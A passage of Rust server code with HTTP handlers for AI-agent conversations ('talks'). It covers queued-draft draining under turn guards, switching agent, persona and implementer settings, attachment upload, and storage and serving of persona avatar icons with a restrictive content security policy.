9962    if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9963        let turns = Arc::clone(&turn.turns);
9964        let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
9965        if live.queued.get(&id).copied().unwrap_or(0) == observed {
9966            // Release under the arrival lock; a later `/say` takes its own claim.
9967            turn.release(&mut live);
9968            return false;
9969        }
9970    }
9971    let (started, settled) = tokio::sync::oneshot::channel();
9972    tokio::spawn(drain_loop_started(
9973        talk,
9974        talks,
9975        cfg,
9976        id,
9977        turn,
9978        Some(started),
9979    ));
9980    settled.await.unwrap_or(false)
9981}
9982
9983#[cfg(not(test))]
9984async fn drain_loop_started(
9985    talk: Talk,
9986    talks: Talks,
9987    _cfg: Config,
9988    id: String,
9989    turn: TalkTurnGuard,
9990    started: Option<tokio::sync::oneshot::Sender<bool>>,
9991) {
9992    let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
9993    let running = if pending {
9994        match crate::chat_worker::spawn_turn(&talks, &id).await {
9995            Ok(_) => true,
9996            Err(error) => {
9997                tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
9998                false
9999            }
10000        }
10001    } else {
10002        false
10003    };
10004    drop(turn);
10005    if let Some(started) = started {
10006        let _ = started.send(running);
10007    }
10008}
10009
10010// Existing in-process conversation tests exercise transcript/arrival ordering;
10011// real process-lifetime behavior is covered by the CLI integration tests.
10012#[cfg(test)]
10013async fn drain_loop_started(
10014    mut talk: Talk,
10015    talks: Talks,
10016    cfg: Config,
10017    id: String,
10018    turn: TalkTurnGuard,
10019    mut started: Option<tokio::sync::oneshot::Sender<bool>>,
10020) {
10021    let live_set = Arc::clone(&turn.turns);
10022    // `Option` rather than binding `turn` directly to a `_turn` that lives
10023    // for the whole function: releasing it has to happen by calling
10024    // `TalkTurnGuard::release` from inside the locked branch below, which
10025    // takes `self` by value. Left as a plain drop instead, `Drop` would still
10026    // remove the id - correctly, if this loop is ever left some other way -
10027    // but doing it there misses the lock this loop is already holding, which
10028    // is the exact gap `release` exists to close.
10029    let mut turn = Some(turn);
10030    loop {
10031        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
10032            // The lease was taken over while a turn ran. Whatever is queued
10033            // stays a draft; running it here would race the new owner.
10034            tracing::warn!("talk {id} lost its turn lease; not draining further");
10035            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10036            if let Some(turn) = turn.take() {
10037                turn.release(&mut live);
10038            }
10039            break;
10040        }
10041        // `talk::drain` takes the store lock and can write/rename the talk
10042        // file. Keep the turn mutex out of that synchronous work: it protects
10043        // every talk's in-memory claim, not this talk's disk operation.
10044        let observed = live_set
10045            .lock()
10046            .unwrap_or_else(PoisonError::into_inner)
10047            .queued
10048            .get(&id)
10049            .copied()
10050            .unwrap_or(0);
10051        let drained = blocking({
10052            let talks = talks.clone();
10053            move || {
10054                let result = talk::drain(&mut talk, &talks);
10055                Ok((talk, result))
10056            }
10057        })
10058        .await;
10059        let (next_talk, result) = match drained {
10060            Ok(drained) => drained,
10061            Err(e) => {
10062                tracing::warn!(
10063                    status = %e.status,
10064                    message = %e.message,
10065                    "talk {id} could not start queued-text drain"
10066                );
10067                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10068                turn.take()
10069                    .expect("held for the whole loop until released here")
10070                    .release(&mut live);
10071                break;
10072            }
10073        };
10074        talk = next_talk;
10075        let drained = match result {
10076            Ok(Some(drained)) => drained,
10077            Ok(None) => {
10078                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10079                if live.queued.get(&id).copied().unwrap_or(0) != observed {
10080                    continue;
10081                }
10082                turn.take()
10083                    .expect("held for the whole loop until released here")
10084                    .release(&mut live);
10085                break;
10086            }
10087            Err(e) => {
10088                tracing::warn!("talk {id} could not drain queued text: {e:#}");
10089                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10090                turn.take()
10091                    .expect("held for the whole loop until released here")
10092                    .release(&mut live);
10093                break;
10094            }
10095        };
10096        if let Some(started) = started.take() {
10097            let _ = started.send(true);
10098        }
10099        let responded = match turn.as_ref() {
10100            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
10101            None => Err(anyhow::anyhow!("the turn guard was released")),
10102        };
10103        if let Err(e) = responded {
10104            tracing::warn!("talk {id} turn failed: {e:#}");
10105        }
10106    }
10107    drop(turn);
10108    if let Some(started) = started {
10109        let _ = started.send(false);
10110    }
10111}
10112
10113/// Clear a queued draft only if it remains exactly the one the caller saw.
10114async fn talk_pending_clear(
10115    State(ui): State<Arc<Ui>>,
10116    Path(id): Path<String>,
10117    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
10118) -> ApiResult<Json<TalkView>> {
10119    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
10120    blocking(move || {
10121        let id = resolve_talk(&ui.talks, &id)?;
10122        let mut talk = ui.talks.get(&id)?;
10123        if !talk.status.open() {
10124            return Err(ApiError::conflict(format!(
10125                "talk {} is {} and takes no more turns",
10126                talk.short(),
10127                talk.status.as_str()
10128            )));
10129        }
10130        if !talk::clear_pending_if_matches(
10131            &mut talk,
10132            &ui.talks,
10133            &body.expected_text,
10134            &body.expected_attachments,
10135        )? {
10136            return Err(ApiError::conflict(
10137                "queued message changed; reload it before clearing",
10138            ));
10139        }
10140        let thinking = ui.is_thinking(&talk.id);
10141        Ok(Json(TalkView::new(talk, thinking, &ui)))
10142    })
10143    .await
10144}
10145
10146/// Atomically edit a queued draft's text while preserving its attachments.
10147/// The snapshot fields make a concurrent queue or drain a conflict rather
10148/// than silently discarding either message.
10149async fn talk_pending_edit(
10150    State(ui): State<Arc<Ui>>,
10151    Path(id): Path<String>,
10152    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
10153) -> ApiResult<Json<TalkView>> {
10154    let admission = ui.begin_admission()?;
10155    admitted(admission, async move {
10156        let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
10157        let id = {
10158            let ui = Arc::clone(&ui);
10159            blocking(move || resolve_talk(&ui.talks, &id)).await?
10160        };
10161        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10162            .await
10163            .map_err(ApiError::from)?;
10164        let (view, reclaimed) = blocking({
10165            let ui = Arc::clone(&ui);
10166            move || {
10167                let mut talk = ui.talks.get(&id)?;
10168                if !talk.status.open() {
10169                    return Err(ApiError::conflict(format!(
10170                        "talk {} is {} and takes no more turns",
10171                        talk.short(),
10172                        talk.status.as_str()
10173                    )));
10174                }
10175                if !talk::edit_pending_message(
10176                    &mut talk,
10177                    &ui.talks,
10178                    &body.text,
10179                    &body.expected_text,
10180                    &body.expected_attachments,
10181                    body.message,
10182                )? {
10183                    return Err(ApiError::conflict(
10184                        "queued message changed; reload it before editing",
10185                    ));
10186                }
10187                let claim = match ui.begin_queued_talk_turn(&id)? {
10188                    Some(turn_guard) => {
10189                        let (cfg, _) = Config::discover(&talk.repo, None)?;
10190                        Some((talk.clone(), cfg, id.clone(), turn_guard))
10191                    }
10192                    None => None,
10193                };
10194                let thinking = ui.is_thinking(&id);
10195                Ok((TalkView::new(talk, thinking, &ui), claim))
10196            }
10197        })
10198        .await?;
10199        if let Some((talk, cfg, id, turn_guard)) = reclaimed {
10200            let talks = ui.talks.clone();
10201            #[cfg(not(test))]
10202            detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
10203            #[cfg(test)]
10204            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
10205        }
10206        Ok(Json(view))
10207    })
10208    .await
10209}
10210
10211/// The 409 for a talk that takes no more turns.
10212fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
10213    if talk.status.open() {
10214        return Ok(());
10215    }
10216    Err(ApiError::conflict(format!(
10217        "talk {} is {} and takes no more turns",
10218        talk.short(),
10219        talk.status.as_str()
10220    )))
10221}
10222
10223/// The body of `POST /api/talks/{id}/agent`.
10224#[derive(Debug, Deserialize)]
10225struct TalkAgent {
10226    agent: String,
10227}
10228
10229/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
10230/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
10231/// start a turn on the old session between the check and the write; one that
10232/// arrives in that window finds the talk busy and becomes a draft.
10233async fn talk_agent(
10234    State(ui): State<Arc<Ui>>,
10235    Path(id): Path<String>,
10236    Json(body): Json<TalkAgent>,
10237) -> ApiResult<Json<TalkView>> {
10238    let admission = ui.begin_admission()?;
10239    admitted(admission, async move {
10240        let id = {
10241            let ui = Arc::clone(&ui);
10242            blocking(move || resolve_talk(&ui.talks, &id)).await?
10243        };
10244        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10245            .await
10246            .map_err(ApiError::from)?;
10247        let repo = {
10248            let ui = Arc::clone(&ui);
10249            let id = id.clone();
10250            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10251        };
10252        let cfg = config_for(&repo).await?;
10253        // Refuse before taking the claim; see `talk_implementers`.
10254        {
10255            let ui = Arc::clone(&ui);
10256            let id = id.clone();
10257            let cfg = cfg.clone();
10258            let wanted = body.agent.clone();
10259            blocking(move || {
10260                agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
10261                    .map_err(ApiError::bad_request_from)?;
10262                refuse_if_closed(&ui.talks.get(&id)?)
10263            })
10264            .await?;
10265        }
10266        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10267            return Err(ApiError::conflict(
10268                "a talk turn is running; change the agent once it has answered",
10269            ));
10270        };
10271        let switched = {
10272            let ui = Arc::clone(&ui);
10273            let id = id.clone();
10274            let cfg = cfg.clone();
10275            blocking(move || {
10276                let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
10277                    .map_err(ApiError::bad_request_from)?;
10278                let mut talk = ui.talks.get(&id)?;
10279                if !talk.status.open() {
10280                    return Err(ApiError::conflict(format!(
10281                        "talk {} is {} and takes no more turns",
10282                        talk.short(),
10283                        talk.status.as_str()
10284                    )));
10285                }
10286                talk::switch_agent(&mut talk, &ui.talks, &spec)?;
10287                Ok(talk)
10288            })
10289            .await
10290        };
10291        // A `/say` that landed while this held the claim saw the talk busy and
10292        // left a durable draft, trusting the claim's owner to drain it. So the
10293        // claim is settled whatever the outcome. Release an empty draft's claim
10294        // before replying; queued drafts continue independently of the handler.
10295        let observed = ui.queued_generation(&id);
10296        let fresh = {
10297            let ui = Arc::clone(&ui);
10298            let id = id.clone();
10299            blocking(move || Ok(ui.talks.get(&id)?)).await
10300        };
10301        let draining = match fresh {
10302            Ok(talk) => {
10303                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10304            }
10305            Err(_) => false,
10306        };
10307        let talk = switched?;
10308        Ok(Json(TalkView::new(talk, draining, &ui)))
10309    })
10310    .await
10311}
10312
10313/// The body of `POST /api/talks/{id}/persona`.
10314#[derive(Debug, Deserialize)]
10315struct TalkPersona {
10316    persona: String,
10317}
10318
10319/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
10320/// like [`talk_agent`]: the turn guard is held for the change and always handed
10321/// to `drain_loop`, so a draft left meanwhile is not stranded.
10322async fn talk_persona(
10323    State(ui): State<Arc<Ui>>,
10324    Path(id): Path<String>,
10325    Json(body): Json<TalkPersona>,
10326) -> ApiResult<Json<TalkView>> {
10327    let admission = ui.begin_admission()?;
10328    admitted(admission, async move {
10329        let id = {
10330            let ui = Arc::clone(&ui);
10331            blocking(move || resolve_talk(&ui.talks, &id)).await?
10332        };
10333        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10334            .await
10335            .map_err(ApiError::from)?;
10336        let repo = {
10337            let ui = Arc::clone(&ui);
10338            let id = id.clone();
10339            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10340        };
10341        let cfg = config_for(&repo).await?;
10342        // Refuse before taking the claim; see `talk_implementers`.
10343        {
10344            let ui = Arc::clone(&ui);
10345            let id = id.clone();
10346            let cfg = cfg.clone();
10347            let wanted = body.persona.clone();
10348            blocking(move || {
10349                if persona::find(&cfg.talk.personas, &wanted).is_none() {
10350                    return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
10351                }
10352                refuse_if_closed(&ui.talks.get(&id)?)
10353            })
10354            .await?;
10355        }
10356        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10357            return Err(ApiError::conflict(
10358                "a talk turn is running; change the persona once it has answered",
10359            ));
10360        };
10361        let switched = {
10362            let ui = Arc::clone(&ui);
10363            let id = id.clone();
10364            let cfg = cfg.clone();
10365            blocking(move || {
10366                let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
10367                    return Err(ApiError::bad_request(format!(
10368                        "unknown persona `{}`",
10369                        body.persona
10370                    )));
10371                };
10372                let mut talk = ui.talks.get(&id)?;
10373                if !talk.status.open() {
10374                    return Err(ApiError::conflict(format!(
10375                        "talk {} is {} and takes no more turns",
10376                        talk.short(),
10377                        talk.status.as_str()
10378                    )));
10379                }
10380                talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
10381                Ok(talk)
10382            })
10383            .await
10384        };
10385        // As in `talk_agent`: settle the claim before replying, even on refusal.
10386        let observed = ui.queued_generation(&id);
10387        let fresh = {
10388            let ui = Arc::clone(&ui);
10389            let id = id.clone();
10390            blocking(move || Ok(ui.talks.get(&id)?)).await
10391        };
10392        let draining = match fresh {
10393            Ok(talk) => {
10394                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10395            }
10396            Err(_) => false,
10397        };
10398        let talk = switched?;
10399        Ok(Json(TalkView::new(talk, draining, &ui)))
10400    })
10401    .await
10402}
10403
10404/// The body of `POST /api/talks/{id}/implementers`.
10405#[derive(Debug, Deserialize)]
10406struct TalkImplementers {
10407    implementers: u8,
10408}
10409
10410/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
10411/// like [`talk_agent`]: the turn guard is held for the change and always handed
10412/// to `drain_loop`, so a draft left meanwhile is not stranded.
10413async fn talk_implementers(
10414    State(ui): State<Arc<Ui>>,
10415    Path(id): Path<String>,
10416    Json(body): Json<TalkImplementers>,
10417) -> ApiResult<Json<TalkView>> {
10418    let admission = ui.begin_admission()?;
10419    admitted(admission, async move {
10420        let id = {
10421            let ui = Arc::clone(&ui);
10422            blocking(move || resolve_talk(&ui.talks, &id)).await?
10423        };
10424        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10425            .await
10426            .map_err(ApiError::from)?;
10427        let repo = {
10428            let ui = Arc::clone(&ui);
10429            let id = id.clone();
10430            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10431        };
10432        let cfg = config_for(&repo).await?;
10433        // Refuse a request that cannot succeed before taking the claim: a claim
10434        // taken for it is handed to `drain_loop`, which holds the talk busy for a
10435        // moment, so a refusal would make the next request see "busy" instead of
10436        // its own answer. The checks after the claim stay the ones that decide.
10437        {
10438            let ui = Arc::clone(&ui);
10439            let id = id.clone();
10440            let cfg = cfg.clone();
10441            let wanted = body.implementers;
10442            blocking(move || {
10443                talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
10444                refuse_if_closed(&ui.talks.get(&id)?)
10445            })
10446            .await?;
10447        }
10448        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10449            return Err(ApiError::conflict(
10450                "a talk turn is running; change the implementers once it has answered",
10451            ));
10452        };
10453        let switched = {
10454            let ui = Arc::clone(&ui);
10455            let id = id.clone();
10456            let cfg = cfg.clone();
10457            blocking(move || {
10458                let chosen = talk::check_implementers(body.implementers, &cfg)
10459                    .map_err(ApiError::bad_request)?;
10460                let mut talk = ui.talks.get(&id)?;
10461                if !talk.status.open() {
10462                    return Err(ApiError::conflict(format!(
10463                        "talk {} is {} and takes no more turns",
10464                        talk.short(),
10465                        talk.status.as_str()
10466                    )));
10467                }
10468                talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
10469                Ok(talk)
10470            })
10471            .await
10472        };
10473        // As in `talk_agent`: settle the claim before replying, even on refusal.
10474        let observed = ui.queued_generation(&id);
10475        let fresh = {
10476            let ui = Arc::clone(&ui);
10477            let id = id.clone();
10478            blocking(move || Ok(ui.talks.get(&id)?)).await
10479        };
10480        let draining = match fresh {
10481            Ok(talk) => {
10482                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10483            }
10484            Err(_) => false,
10485        };
10486        let talk = switched?;
10487        Ok(Json(TalkView::new(talk, draining, &ui)))
10488    })
10489    .await
10490}
10491
10492/// `POST /api/talks/{id}/close`.
10493async fn talk_close(
10494    State(ui): State<Arc<Ui>>,
10495    Path(id): Path<String>,
10496) -> ApiResult<Json<TalkView>> {
10497    blocking(move || {
10498        let id = resolve_talk(&ui.talks, &id)?;
10499        let mut talk = ui.talks.get(&id)?;
10500        talk::close(&mut talk, &ui.talks).map_err(|error| {
10501            if error.is::<talk::ClosePendingInput>() {
10502                ApiError::conflict(format!("{error:#}"))
10503            } else {
10504                ApiError::from(error)
10505            }
10506        })?;
10507        let thinking = ui.is_thinking(&talk.id);
10508        Ok(Json(TalkView::new(talk, thinking, &ui)))
10509    })
10510    .await
10511}
10512
10513/// `POST /api/talks/{id}/reopen`.
10514async fn talk_reopen(
10515    State(ui): State<Arc<Ui>>,
10516    Path(id): Path<String>,
10517) -> ApiResult<Json<TalkView>> {
10518    blocking(move || {
10519        let id = resolve_talk(&ui.talks, &id)?;
10520        let mut talk = ui.talks.get(&id)?;
10521        talk::reopen(&mut talk, &ui.talks)?;
10522        let thinking = ui.is_thinking(&talk.id);
10523        Ok(Json(TalkView::new(talk, thinking, &ui)))
10524    })
10525    .await
10526}
10527
10528/// `DELETE /api/talks/{id}`.
10529///
10530/// Removes the conversation's record and artifacts outright, unlike
10531/// [`talk_close`] which keeps the record as history. A turn already in
10532/// flight is not refused here the way [`run_delete`] refuses a live run:
10533/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
10534/// under [`Talks::guard`], that the record they are about to write back is
10535/// still there, so a delete racing a turn is safe without this route having
10536/// to know a turn is running at all.
10537async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
10538    blocking(move || {
10539        let id = resolve_talk(&ui.talks, &id)?;
10540        ui.talks.remove(&id)?;
10541        Ok(StatusCode::NO_CONTENT)
10542    })
10543    .await
10544}
10545
10546fn talk_ids(root: &FsPath) -> Vec<String> {
10547    std::fs::read_dir(root)
10548        .into_iter()
10549        .flatten()
10550        .flatten()
10551        .filter_map(|e| {
10552            let path = e.path();
10553            if path.extension().is_some_and(|ext| ext == "json") {
10554                path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
10555            } else {
10556                None
10557            }
10558        })
10559        .collect()
10560}
10561
10562/// Expand an id or short id to exactly one talk id.
10563fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
10564    if plain_record_id(id) && store.path_of(id).is_file() {
10565        return Ok(id.to_owned());
10566    }
10567    pick(talk_ids(store.root()), id, "talk")
10568}
10569
10570/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
10571/// future `talk-say`.
10572async fn talk_attachment_post(
10573    State(ui): State<Arc<Ui>>,
10574    Path(id): Path<String>,
10575    headers: HeaderMap,
10576    body: Bytes,
10577) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
10578    let mime = validate_attachment(&headers, &body)?;
10579    let name = filename_header(&headers);
10580    let data = body.to_vec();
10581    blocking(move || {
10582        let id = resolve_talk(&ui.talks, &id)?;
10583        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
10584        Ok((StatusCode::CREATED, Json(att)))
10585    })
10586    .await
10587}
10588
10589/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
10590/// `<img>` tag in the transcript.
10591async fn talk_attachment_get(
10592    State(ui): State<Arc<Ui>>,
10593    Path((id, att)): Path<(String, String)>,
10594) -> ApiResult<Response> {
10595    blocking(move || {
10596        let id = resolve_talk(&ui.talks, &id)?;
10597        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
10598            return Err(ApiError::not_found(format!(
10599                "talk {id} has no attachment `{att}`"
10600            )));
10601        };
10602        Ok(attachment_response(&meta.mime, data))
10603    })
10604    .await
10605}
10606
10607/// The avatar URL for one persona of one conversation. `v` is a fingerprint of
10608/// the icon setting, so changing it changes the URL.
10609fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
10610    let id = avatar_encode(&p.id);
10611    format!(
10612        "/api/talks/{talk_id}/avatar?persona={id}&v={}",
10613        persona_icon::fingerprint(
10614            effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
10615        )
10616    )
10617}
10618
10619#[derive(Debug, Default, Deserialize)]
10620struct AvatarQuery {
10621    persona: Option<String>,
10622    /// Set by the page after the first load failed: skip the `icon`.
10623    builtin: Option<String>,
10624}
10625
10626/// Served with every built-in avatar: it is an image, so nothing else may run.
10627const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
10628
10629fn builtin_avatar(id: &str) -> Response {
10630    svg_avatar(persona_icon::builtin_svg(id))
10631}
10632
10633async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10634    raster_or_builtin(
10635        read_icon_file(&avatar_setting_path(&ui.home, None))
10636            .filter(|_| q.builtin.is_none())
10637            .as_deref(),
10638        persona_icon::operator_svg(),
10639    )
10640}
10641
10642fn svg_avatar(svg: &'static str) -> Response {
10643    (
10644        [
10645            (header::CONTENT_TYPE, "image/svg+xml"),
10646            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10647            (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
10648            (header::CACHE_CONTROL, "no-cache"),
10649        ],
10650        svg,
10651    )
10652        .into_response()
10653}
10654
10655fn avatar_encode(value: &str) -> String {
10656    value
10657        .bytes()
10658        .map(|b| {
10659            if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
10660                char::from(b).to_string()
10661            } else {
10662                format!("%{b:02X}")
10663            }
10664        })
10665        .collect()
10666}
10667
10668// Display-only overrides live outside configuration and conversation records.
10669fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
10670    let Some(id) = persona else {
10671        return home.join("avatars/operator.data");
10672    };
10673    let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
10674    let mut path = home.join("avatars/personas");
10675    for chunk in encoded.as_bytes().chunks(100) {
10676        path.push(std::str::from_utf8(chunk).expect("hex"));
10677    }
10678    path.join("icon.data")
10679}
10680
10681fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
10682    match read_icon_file(&avatar_setting_path(home, Some(id))) {
10683        Some(value) if value == "builtin" => Some(String::new()),
10684        Some(value) => Some(value),
10685        None => configured.map(str::to_owned),
10686    }
10687}
10688
10689fn operator_icon_url(home: &FsPath) -> String {
10690    format!(
10691        "/avatars/operator.svg?v={}",
10692        persona_icon::fingerprint(
10693            read_icon_file(&avatar_setting_path(home, None))
10694                .as_deref()
10695                .or(Some(persona_icon::operator_svg()))
10696        )
10697    )
10698}
10699
10700fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
10701    let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
10702        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10703            attachment_response(mime, bytes)
10704        }
10705        _ => svg_avatar(builtin),
10706    };
10707    response
10708        .headers_mut()
10709        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10710    response
10711}
10712
10713#[derive(Default, Deserialize)]
10714struct AvatarSettingsQuery {
10715    repo: Option<PathBuf>,
10716    persona: Option<String>,
10717    builtin: Option<String>,
10718    inherit: Option<String>,
10719}
10720
10721fn avatar_settings_specs(
10722    ui: &Ui,
10723    repo: Option<PathBuf>,
10724) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
10725    let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
10726    let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
10727        .map(|cfg| cfg.talk.personas)
10728        .unwrap_or_default();
10729    Ok((repo, specs))
10730}
10731
10732fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
10733    let Ok(entries) = std::fs::read_dir(path) else {
10734        return;
10735    };
10736    for entry in entries.flatten() {
10737        let name = entry.file_name().to_string_lossy().into_owned();
10738        if name == "icon.data" {
10739            let bytes: Option<Vec<u8>> = prefix
10740                .as_bytes()
10741                .chunks(2)
10742                .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
10743                .collect();
10744            if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
10745                out.push(id);
10746            }
10747        } else if name.len() <= 100
10748            && !name.is_empty()
10749            && name.bytes().all(|b| b.is_ascii_hexdigit())
10750            && entry.file_type().is_ok_and(|t| t.is_dir())
10751        {
10752            saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
10753        }
10754    }
10755}
10756
10757async fn avatar_settings_get(
10758    State(ui): State<Arc<Ui>>,
10759    Query(q): Query<AvatarSettingsQuery>,
10760) -> ApiResult<Json<serde_json::Value>> {
10761    blocking(move || {
10762        let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
10763        let mut catalog = persona::catalog(&specs);
10764        let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
10765        let mut saved = Vec::new();
10766        saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
10767        for id in saved {
10768            if !catalog.iter().any(|p| p.id == id) {
10769                catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
10770            }
10771        }
10772        let personas: Vec<_> = catalog.iter().map(|p| {
10773            let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
10774            let override_state = match saved.as_deref() {
10775                Some("builtin") => "builtin",
10776                Some(_) => "custom",
10777                None => "inherit",
10778            };
10779            let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
10780            serde_json::json!({"id":p.id,"name":p.name,
10781                "override_state":override_state,"has_config_icon":p.icon.is_some(),
10782                "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
10783                avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
10784        }).collect();
10785        Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
10786    }).await
10787}
10788
10789async fn settings_persona_avatar(
10790    State(ui): State<Arc<Ui>>,
10791    Query(q): Query<AvatarSettingsQuery>,
10792) -> ApiResult<Response> {
10793    blocking(move || {
10794        let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
10795        let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
10796        let found = persona::find(&specs, id);
10797        let icon =
10798            effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
10799        Ok(raster_or_builtin(
10800            icon.as_deref().filter(|_| q.builtin.is_none()),
10801            persona_icon::builtin_svg(id),
10802        ))
10803    })
10804    .await
10805}
10806
10807fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
10808    if q.persona
10809        .as_ref()
10810        .is_some_and(|p| p.is_empty() || p.len() > 4096)
10811    {
10812        return Err(ApiError::bad_request("invalid persona id"));
10813    }
10814    Ok(())
10815}
10816
10817async fn avatar_settings_put(
10818    State(ui): State<Arc<Ui>>,
10819    Query(q): Query<AvatarSettingsQuery>,
10820    Json(upload): Json<MagiIconUpload>,
10821) -> ApiResult<Json<serde_json::Value>> {
10822    blocking(move || {
10823        validate_avatar_target(&q)?;
10824        save_icon_file(
10825            &avatar_setting_path(&ui.home, q.persona.as_deref()),
10826            &upload.icon,
10827        )
10828        .map_err(ApiError::bad_request_from)?;
10829        Ok(Json(serde_json::json!({"saved":true})))
10830    })
10831    .await
10832}
10833
10834async fn avatar_settings_delete(
10835    State(ui): State<Arc<Ui>>,
10836    Query(q): Query<AvatarSettingsQuery>,
10837) -> ApiResult<Json<serde_json::Value>> {
10838    blocking(move || {
10839        validate_avatar_target(&q)?;
10840        let path = avatar_setting_path(&ui.home, q.persona.as_deref());
10841        if q.persona.is_some() && q.inherit.is_none() {
10842            atomic_icon_write(&path, "builtin")?;
10843        } else {
10844            match std::fs::remove_file(path) {
10845                Ok(()) => (),
10846                Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10847                Err(e) => return Err(anyhow::Error::from(e).into()),
10848            }
10849        }
10850        Ok(Json(serde_json::json!({"saved":true})))
10851    })
10852    .await
10853}
10854
10855// The global MAGI icon is deliberately independent of repository configuration.
10856fn magi_icon_path(home: &FsPath) -> PathBuf {
10857    home.join("magi-icon.data")
10858}
10859
10860fn read_magi_icon(home: &FsPath) -> Option<String> {
10861    read_icon_file(&magi_icon_path(home))
10862}
10863
10864fn read_icon_file(path: &FsPath) -> Option<String> {
10865    let metadata = std::fs::metadata(path).ok()?;
10866    if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
10867        return None;
10868    }
10869    let file = std::fs::File::open(path).ok()?;
10870    use std::io::Read;
10871    let mut text = String::new();
10872    file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
10873        .read_to_string(&mut text)
10874        .ok()?;
10875    if text.len() > persona_icon::ICON_MAX_BYTES {
10876        return None;
10877    }
10878    if text == "builtin" {
10879        return Some(text);
10880    }
10881    validate_uploaded_icon(&text).ok()?;
10882    Some(text)
10883}
10884
10885fn magi_icon_url(home: &FsPath) -> String {
10886    format!(
10887        "/avatars/magi?v={}",
10888        persona_icon::fingerprint(read_magi_icon(home).as_deref())
